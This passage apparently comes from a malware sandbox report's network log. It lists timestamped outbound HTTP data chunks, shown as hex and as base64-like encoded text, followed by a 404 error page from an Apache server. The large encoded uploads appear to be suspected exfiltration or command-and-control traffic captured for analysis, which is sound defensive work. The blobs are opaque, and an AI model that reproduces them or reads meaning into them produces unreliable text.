38 63 56 35 78 4a 6c 56 6e 71 64 39 47 73 77 33 6f 43 62 64 59 49 39 49 71 53 6d 72 71 70 2b 67 69 61 49 75 6a 4a 31 74 2f 47 76 41 4d 31 45 49 43 5a 45 49 76 32 71 75 47 63 58 2f 4f 38 76 78 2f 73 6b 54 59 33 36 69 68 52 4c 76 69 51 6b 43 42 2f 53 6a 6f 6c 4d 4a 66 47 57 62 4e 6c 72 45 5a 42 7a 75 73 30 74 54 62 53 62 41 51 34 61 78 51 46 61 57 79 4c 44 53 63 62 7a 58 74 30 30 44 45 78 52 48 31 57 6b 50 72 53 46 4e 55 4f 64 58 50 53 66 65 6b 45 73 2b 48 44 75 53 73 4d 70 6d 55 33 68 31 54 43 76 2b 73 39 59 6b 4a 6b 4b 47 75 71 45 61 67 31 64 75 52 34 74 30 33 55 4e 2b 72 45 2b 2b 73 32 73 39 6e 61 57 72 62 4c 56 32 64 4a 4e 54 58 62 66 61 57 46 4d 73 4f 4f 36 59 4a 61 56 72 38 76 51 6c 33 74 74 78 39 58 52 57 42 65 62 6d 33 2b 4b 57 6d 58 59 48 38 59 47 50 30 4d 76 63 2b 50 54 6d 6a 51 73 69 7a 4b 6c 49 55 30 58 35 57 74 43 69 6a 42 50 58 4f 56 31 52 33 45 43 55 61 35 5a 6a 48 49 4c 36 46 37 6a 6b 56 4d 45 43 43 6b 71 2f 4e 32 39 67 6e 55 63 32 74 74 4e 4e 58 4d 6b 53 42 46 72 39 5a 37 56 4e 36 6e 55 67 57 43 48 39 31 35 58 76 68 30 4d 6c 37 59 73 37 41 54 41 43 71 76 36 67 43 4d 6f 51 55 68 42 79 55 36 6d 62 73 4e 78 47 51 39 39 66 68 6b 79 55 55 39 46 56 35 37 69 6e 7a 32 67 75 61 52 62 32 63 56 34 76 54 4b 79 75 51 41 42 41 61 30 50 50 56 4b 30 39 77 30 6f 37 54 57 2b 6c 70 66 36 61 76 67 75 48 31 77 32 59 56 2f 39 79 44 51 45 71 35 53 6d 34 68 4b 4e 44 49 6e 75 36 6e 71 31 50 4c 68 6f 65 38 2f 66 35 73 4d 62 66 46 71 33 47 6e 50 62 54 34 78 37 79 4a 72 64 44 2f 69 43 64 66 38 76 55 39 4a 73 62 72 74 6c 79 2b 7a 47 55 34 79 68 4b 4f 32 31 6f 67 6a 6c 71 54 4a 70 48 30 41 41 45 6b 52 46 4d 59 55 73 32 69 30 39 6c 32 64 64 79 76 6b 64 34 6a 67 47 68 6f 65 6a 6e 36 2f 43 49 4f 72 53 63 51 34 38 2b 30 55 38 58 53 4e 6b 55 6b 5a 76 44 4b 68 68 48 39 33 31 70 52 4a 72 66 53 6b 73 59 35 6f 31 59 4b 6b 58 2f 69 72 46 52 4e 61 50 6e 37 43 61 7a 74 32 6b 34 76 39 64 4d 46 6a 70 62 4c 50 62 69 68 64 69 43 39 61 7a 43 78 55 76 6e 43 45 70 52 6b 6f 65 50 79 52 34 4a 4b 52 47 5a 79 4c 55 4c 76 6f 5a 37 48 73 30 70 48 33 72 65 57 68 42 2f 44 52 74 51 44 59 79 34 4f 43 4f 61 75 33 4f 49 31 61 55 6c 41 31 52 59 36 6c 59 34 4d 62 35 6b 7a 79 49 39 67 65 2f 4f 36 51 4f 4e 55 73 6b 64 32 6e 36 71 67 48 58 68 4f 67 4c 36 34 42 32 6a 6e 49 63 6e 42 32 4c 4f 67 68 47 6f 77 38 5a 6e 45 6b 70 72 4d 6f 42 2b 41 4f 47 6b 6a 6d 67 61 75 58 4d 43 50 31 61 46 71 46 39 68 33 73 47 31 55 6c 76 6c 30 67 69 4e 72 70 44 57 32 6c 4b 53 64 77 4c 5a 2b 58 78 45 6b 4f 53 36 4e 53 4b 79 39 71 54 4d 51 79 75 6c 42 6c 6d 70 78 66 6a 4f 63 34 41 6a 62 6c 53 68 4e 37 59 66 45 53 77 51 51 56 58 47 51 43 36 58 36 51 69 75 37 66 39 41 6c 33 72 69 4b 58 53 7a 4a 68 66 4e 74 47 57 39 47 6a 58 47 36 34 37 2f 56 4a 76 4c 7a 6f 33 41 58 39 62 76 74 77 54 2f 51 73 41 55 79 70 63 41 38 6a 74 63 39 6a 53 61 61 78 4c 39 38 73 6d 75 55 2b 75 47 37 4d 57 48 49 55 64 66 66 43 77 52 47 38 6a 37 31 2b 61 35 2f 49 74 66 32 42 4b 35 5a 4b 41 51 47 4c 37 63 44 63 42 37 50 50 50 31 69 4a 76 72 77 72 71 71 4d 56 71 73 50 38 48 73 59 47 65 4f 4c 32 56 69 63 4a 75 51 30 46 58 5a 48 31 56 47 74 57 51 77 47 46 68 41 56 68 78 6a 57 77 51 64 7a 33 6e 36 67 65 43 47 72 48 31 6d 79 62 73 4f 41 74 57 58 76 70 76 6e 31 76 67 52 33 41 4a 6a 63 6f 70 57 46 4f 4a 65 65 43 43 36 57 30 76 37 32 47 6c 71 6a 5a 4c 69 6a 34 43 73 2f 4e 74 6e 34 65 33 67 62 36 71 70 36 44 37 62 75 48 76 49 4c 44 31 35 4d 61 71 37 65 39 42 4b 59 69 31 34 36 74 79 38 2b 57 4e 47 62 64 6b 44 58 57 46 4c 6c 4b 6a 6f 54 64 79 51 56 39 46 39 58 47 70 6e 5a 4c 72 74 56 36 39 54 37 66 66 69 44 2b 70 43 61 57 34 59 44 78 75 36 53 71 42 52 70 56 6e 34 37 68 58 42 6d 48 7a 69 78 79 72 56 5a 66 52 32 7a 70 77 4a 45 47 4e 49 43 6f 6f 4a 32 51 4c 42 51 56 32 43 47 32 6b 6c 50 76 58 76 4c 68 69 74 6a 6e 39 66 57 58 Data Ascii: 5Nag0d=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
Aug 29, 2023 22:44:55.647855997 CEST	524	OUT	Data Raw: 71 4c 62 2b 42 5a 50 7a 46 65 4a 67 30 66 67 56 61 55 37 31 6e 55 68 31 46 77 6e 45 34 36 63 52 6a 4b 76 49 6d 49 33 6e 4d 65 63 56 2f 36 75 54 70 6d 72 50 48 31 37 56 72 36 6c 6f 4a 6f 30 51 41 4e 73 35 46 71 76 51 41 4f 34 7a 66 47 5a 58 34 47 Data Ascii: qLb+BZPzFeJg0fgVaU71nUh1FwnE46cRjKvImI3nMecV/6uTpmrPH17Vr6loJo0QANs5FqvQAO4zfGZX4GnGyzPbbRa+P0rUD4ooDRHdB6aj8FKa9ec1GTyPP/MH0Kc0j4XUwB8flQv8V4gAQJPHn8f0Crq0fzDszbg31pJRXs/JOq5laeWxBUKojNvG15xnkM3scw4d85Z9Kn8kf/LBouCdGQji1An+SW0OR5mjDbKgz72OiK1
Aug 29, 2023 22:44:55.822221994 CEST	527	OUT	Data Raw: 46 69 74 4f 66 74 61 65 37 61 57 38 58 77 68 58 37 46 4a 71 67 4e 31 69 61 54 46 49 73 2b 5a 70 52 4f 50 50 48 57 43 44 77 61 36 48 5a 58 76 34 50 49 63 66 63 6d 39 30 58 32 7a 52 6b 42 64 4a 51 68 66 2b 53 71 47 31 71 73 72 67 61 73 73 54 77 62 Data Ascii: FitOftae7aW8XwhX7FJqgN1iaTFIs+ZpROPPHWCDwa6HZXv4PIcfcm90X2zRkBdJQhf+SqG1qsrgassTwb9rC7+LE+10AwN1zNLCWGpYCW5bJ0+WAZs09caw7rIbm+GrrwIrD0qcFgaRkKLRXh1lpwHorXYL4F2L5mW+SHiqeCTAy8XcQ06lQGEtUrYKf9yZKmhEFMM+0gQRKAjqkKlEBg9CQp34WHw/FeYV2KHrvBNQtbf9EOJ
Aug 29, 2023 22:44:55.822305918 CEST	534	OUT	Data Raw: 6d 4f 59 2b 55 68 57 57 77 39 73 70 6e 6d 42 4f 2b 6d 47 58 6c 33 71 76 65 46 48 70 4b 38 69 49 75 39 58 41 6a 4a 57 70 75 50 54 69 74 6c 43 5a 72 6e 30 6f 44 6a 62 45 32 67 46 66 77 4f 4f 47 30 30 48 4c 70 37 59 33 55 65 5a 2b 76 4e 6b 48 58 43 Data Ascii: mOY+UhWWw9spnmBO+mGXl3qveFHpK8iIu9XAjJWpuPTitlCZrn0oDjbE2gFfwOOG00HLp7Y3UeZ+vNkHXCgLGrxiVilYVp2bSqcKnNXEK7NvqfBuxy405L5on/gN6Rb8J0nVhulMRutlVuWJxkkE+PAmBii+3d0/Jt8nduS/zbBH7HfzozTiG4WEFZLi6zxNPoJdRZHy+CIG9ZqQsKidq/rlFxTvffnf1jdJj+x6QnvL3vzZSSM
Aug 29, 2023 22:44:55.822660923 CEST	537	OUT	Data Raw: 50 72 47 35 39 30 6b 61 32 61 33 6a 6f 59 63 36 48 46 44 35 75 48 30 65 36 57 77 79 74 55 32 66 39 50 73 50 2f 37 68 65 66 58 34 6a 69 74 4f 36 39 79 66 76 64 68 62 41 68 74 4c 35 6e 34 6e 2f 70 4c 76 2f 72 56 48 42 50 4e 67 6d 64 70 75 32 35 53 Data Ascii: PrG590ka2a3joYc6HFD5uH0e6WwytU2f9PsP/7hefX4jitO69yfvdhbAhtL5n4n/pLv/rVHBPNgmdpu25SGwZ6DnriZCZIEyuuGSfmsSULMGOu0vz3Bq+u627Wm70HLCQEe6+Ttx77Hpc9q4TGx7XS+ZiL/haUtRDmByUHOiWDsfo6qdOW3AaZnI7xB+iW8xcA4y2dHabOgym3LQ94RQ7mSLJeaGn5uoC5T17KZtdluymUpXlBg
Aug 29, 2023 22:44:55.822767019 CEST	543	OUT	Data Raw: 48 5a 4c 6d 46 59 42 2f 31 2f 65 39 72 6e 37 73 35 2b 33 41 46 68 65 32 69 66 6e 74 43 62 6d 30 7a 61 72 56 4d 67 79 75 4d 63 4f 32 66 2b 72 47 69 35 2b 63 73 63 4f 30 77 56 48 75 79 55 4e 31 4f 30 2b 72 46 33 77 6d 4a 64 37 77 30 73 55 4b 77 37 Data Ascii: HZLmFYB/1/e9rn7s5+3AFhe2ifntCbm0zarVMgyuMcO2f+rGi5+cscO0wVHuyUN1O0+rF3wmJd7w0sUKw72dPvj8Olj9/mRfIYK9mxxsm33DEx36lGS3AxgWSxSBJ3fF3J0ztDW9R6KXZBeuss6zN8xXsaoMK9KYoUlh2767ZGJeJA3JeZw5ERvYh4H2Fl0Pv2ex6WZx1lx7F8WEPJGamjtHmH5Ji8PKntL/dURNbZvYnigYfXS
Aug 29, 2023 22:44:55.822997093 CEST	546	OUT	Data Raw: 46 7a 71 6e 54 39 2f 61 65 6a 62 65 63 42 77 58 42 66 63 2b 30 39 57 70 43 52 4c 4f 2b 77 61 2f 74 64 69 59 69 2b 6b 52 66 49 57 34 2f 7a 77 4d 63 68 64 4f 6d 66 67 61 2f 78 54 46 38 44 62 52 64 43 4c 6f 72 55 44 51 62 34 37 6b 63 79 53 6a 69 37 Data Ascii: FzqnT9/aejbecBwXBfc+09WpCRLO+wa/tdiYi+kRfIW4/zwMchdOmfga/xTF8DbRdCLorUDQb47kcySji7Hac4juuwiCP/uE4Zds76c8aR8zgyqA57CW+teoC/PrTl6GYiBG6mjc0H1xLS+vZtaUtFgk1Oxlc//gL3fd7RINQbrHteLCUTfxjd1X4QCWYHPksAf+TTx7mVFR/H6uR7XlzE6ULQQIYqO383gFaAlAHrrrVJR8pkP
Aug 29, 2023 22:44:55.823158979 CEST	547	OUT	Data Raw: 31 42 4e 30 71 77 38 74 46 6b 59 59 77 48 46 67 6d 62 57 31 53 69 71 4c 73 38 4a 6d 6c 6f 48 41 67 7a 53 4b 45 38 31 71 4f 69 70 70 50 64 6a 2f 51 73 67 4c 32 55 4d 76 2f 41 51 4c 4d 67 4b 68 6f 57 49 4e 74 54 30 75 67 53 7a 75 68 2f 6b 49 59 30 Data Ascii: 1BN0qw8tFkYYwHFgmbW1SiqLs8JmloHAgzSKE81qOippPdj/QsgL2UMv/AQLMgKhoWINtT0ugSzuh/kIY0OnWCtgZ74Wl9Ln/BWYHKq/QStwmuqMdyGuB6hMd5+d34SWEVhBlnBksMJhiCWPUKtEdLi8GKHvZROdCLLQkcEqeqS7I0/c4sdpRah3zjcmwMSO44LjQEcKk+BggUAOohcFYYzpbii2F11o/lS0EC/QNk++1vIaKkT
Aug 29, 2023 22:44:55.823328972 CEST	550	OUT	Data Raw: 4a 4d 2b 65 48 77 36 78 5a 5a 71 56 35 57 33 72 67 4d 58 58 38 4c 70 62 77 72 63 6d 54 32 6b 6a 76 34 6a 78 59 6a 6f 75 68 75 72 55 71 53 53 38 72 78 59 49 32 44 5a 43 76 66 52 73 2b 66 2f 6b 57 33 7a 41 6e 61 59 34 73 57 47 76 41 72 44 78 56 55 Data Ascii: JM+eHw6xZZqV5W3rgMXX8LpbwrcmT2kjv4jxYjouhurUqSS8rxYI2DZCvfRs+f/kW3zAnaY4sWGvArDxVUG4b5Gm6Nkg7FqMpuVf7pqTR8G77ll1XM+Ex0d/hAq2jNZlhjIAkJfFrlaUUoXO5gqe+s7bLlIniCOJ35td3WTZCE4XZ1OamTzUcfB+QMLrdMnHhOEJpuGyAZuGRXUtsRP5g0Jn2CXwsAihbmJ6QZFs3/lI7QQqSnx
Aug 29, 2023 22:44:55.996743917 CEST	553	OUT	Data Raw: 36 6a 44 48 30 68 6e 55 54 71 6c 54 42 36 75 43 57 33 77 44 66 68 4d 72 48 49 55 73 4d 48 6e 68 51 74 71 70 41 42 4f 2f 66 2b 33 70 64 58 55 71 76 6e 66 69 4b 47 58 47 6e 43 4f 52 7a 32 33 55 35 4e 75 55 53 51 38 42 49 6e 6a 37 77 47 46 30 77 7a Data Ascii: 6jDH0hnUTqlTB6uCW3wDfhMrHIUsMHnhQtqpABO/f+3pdXUqvnfiKGXGnCORz23U5NuUSQ8BInj7wGF0wzcxwOrWqaF3wW0VtqaaqANVM7awgoK5bm8AXVAeU6RhORwVywyrlLR+P7DXZTnwBpYIczn9UPZ0iJC834P4rb8KCUBK1J5YG44+lbpQDBMwOjW11/iFYf4edFWrB0WD+kqkgumeE09xyeXg/qmO2wjCjnl9ZmvJdFG
Aug 29, 2023 22:44:55.996824026 CEST	558	OUT	Data Raw: 65 42 44 4e 39 32 4e 70 32 48 4b 4d 49 2f 31 43 47 55 6a 6c 77 4a 34 37 6c 4c 52 7a 6f 59 45 73 4c 4c 2f 68 55 49 48 62 78 51 46 38 4b 61 55 52 7a 42 43 6f 68 54 71 4e 46 52 32 4b 31 75 50 45 79 73 68 77 63 2f 30 44 7a 65 46 44 42 2b 68 45 4f 75 Data Ascii: eBDN92Np2HKMI/1CGUjlwJ47lLRzoYEsLL/hUIHbxQF8KaURzBCohTqNFR2K1uPEyshwc/0DzeFDB+hEOuHicMwT2NyVk8RPOfnBg9rf1N0oiiRYrWV4cQoaV3oxzh89ZdGrrwbpfXk9xEqsLTzHdDMeQfDuOGtKbyCxt/H78nqdvoMXSBi6FFfm2ZKnnLfi5jrr9u0YBxdQVKcerY+xCQZufxIzpPY0GrGXuI4BEuxm6qDiRMs
Aug 29, 2023 22:44:56.286946058 CEST	567	IN	HTTP/1.1 404 Not Found Date: Tue, 29 Aug 2023 20:44:55 GMT Server: Apache Content-Length: 38381 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6d 65 79 65 72 2d 72 65 73 65 74 2f 32 2e 30 2f 72 65 73 65 74 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 2b 43 6f 6e 64 65 6e 73 65 64 3a 34 30 30 2c 37 30 30 27 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 09 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 41 22 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 70 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 42 22 3e 34 30 34 3c 2f 70 3e 0a 20 20 3c 61 20 63 6c 61 73 73 3d 22 74 65 78 74 43 22 20 68 72 65 66 3d 22 23 22 3e 47 6f 20 42 61 63 6b 3c 2f 61 3e 0a 09 3c 73 76 67 20 63 6c 61 73 73 3d 22 70 61 67 65 2d 6e 6f 74 2d 66 6f 75 6e 64 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 32 38 30 20 31 30 32 34 22 3e 0a 09 09 20 20 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 20 20 20 20 3c 67 20 63 6c 61 73 73 3d 22 68 69 64 65 20 74 72 69 2d 64 6f 74 73 22 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 34 30 36 2e 31 22 20 63 79 3d 22 38 39 30 2e 37 22 20 72 3d 22 33 2e 35 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 33 36 31 2e 33 20 32 38 33 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 34 32 36 2e 32 22 20 63 79 3d 22 38 37 38 2e 38 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 33 35 33 2e 37 20 32 39 30 2e 38 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 34 32 34 2e 34 22 20 63 79 3d 22 38 36 31 2e 38 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 33 34 36 2e 31 20 32 38 38 2e 31 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 34 34 35 2e 38 22 20 63 79 3d 22 38 36 37 2e 37 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 33 34 36 2e 35 20 32 39 38 2e 35 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css"><link rel='stylesheet' href='https://fonts.googleapis.com/css?family=Roboto+Condensed:400,700'><link rel="stylesheet" href="/style.css"></head><body>... partial:index.partial.html --><div class="container"> <p class="textA">Page Not Found</p> <p class="textB">404</p> <a class="textC" href="#">Go Back</a><svg class="page-not-found" viewBox="0 0 1280 1024"> <title>Page Not Found</title> <g class="hide tri-dots"> <circle cx="406.1" cy="890.7" r="3.5" transform="translate(-361.3 283) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="426.2" cy="878.8" r="3.7" transform="translate(-353.7 290.8) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="424.4" cy="861.8" r="3.7" transform="translate(-346.1 288.1) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="445.8" cy="867.7" r="3.7" transform="translate(-346.5 298.5) rotate(-27.1)" style="fill: #ffe029"/> <circle cx=
Aug 29, 2023 22:44:56.287054062 CEST	568	IN	Data Raw: 22 34 33 38 2e 33 22 20 63 79 3d 22 38 35 31 2e 38 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 33 34 30 2e 31 20 32 39 33 2e 34 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 Data Ascii: "438.3" cy="851.8" r="3.7" transform="translate(-340.1 293.4) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="453.8" cy="845.8" r="3.7" transform="translate(-335.6 299.8) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="
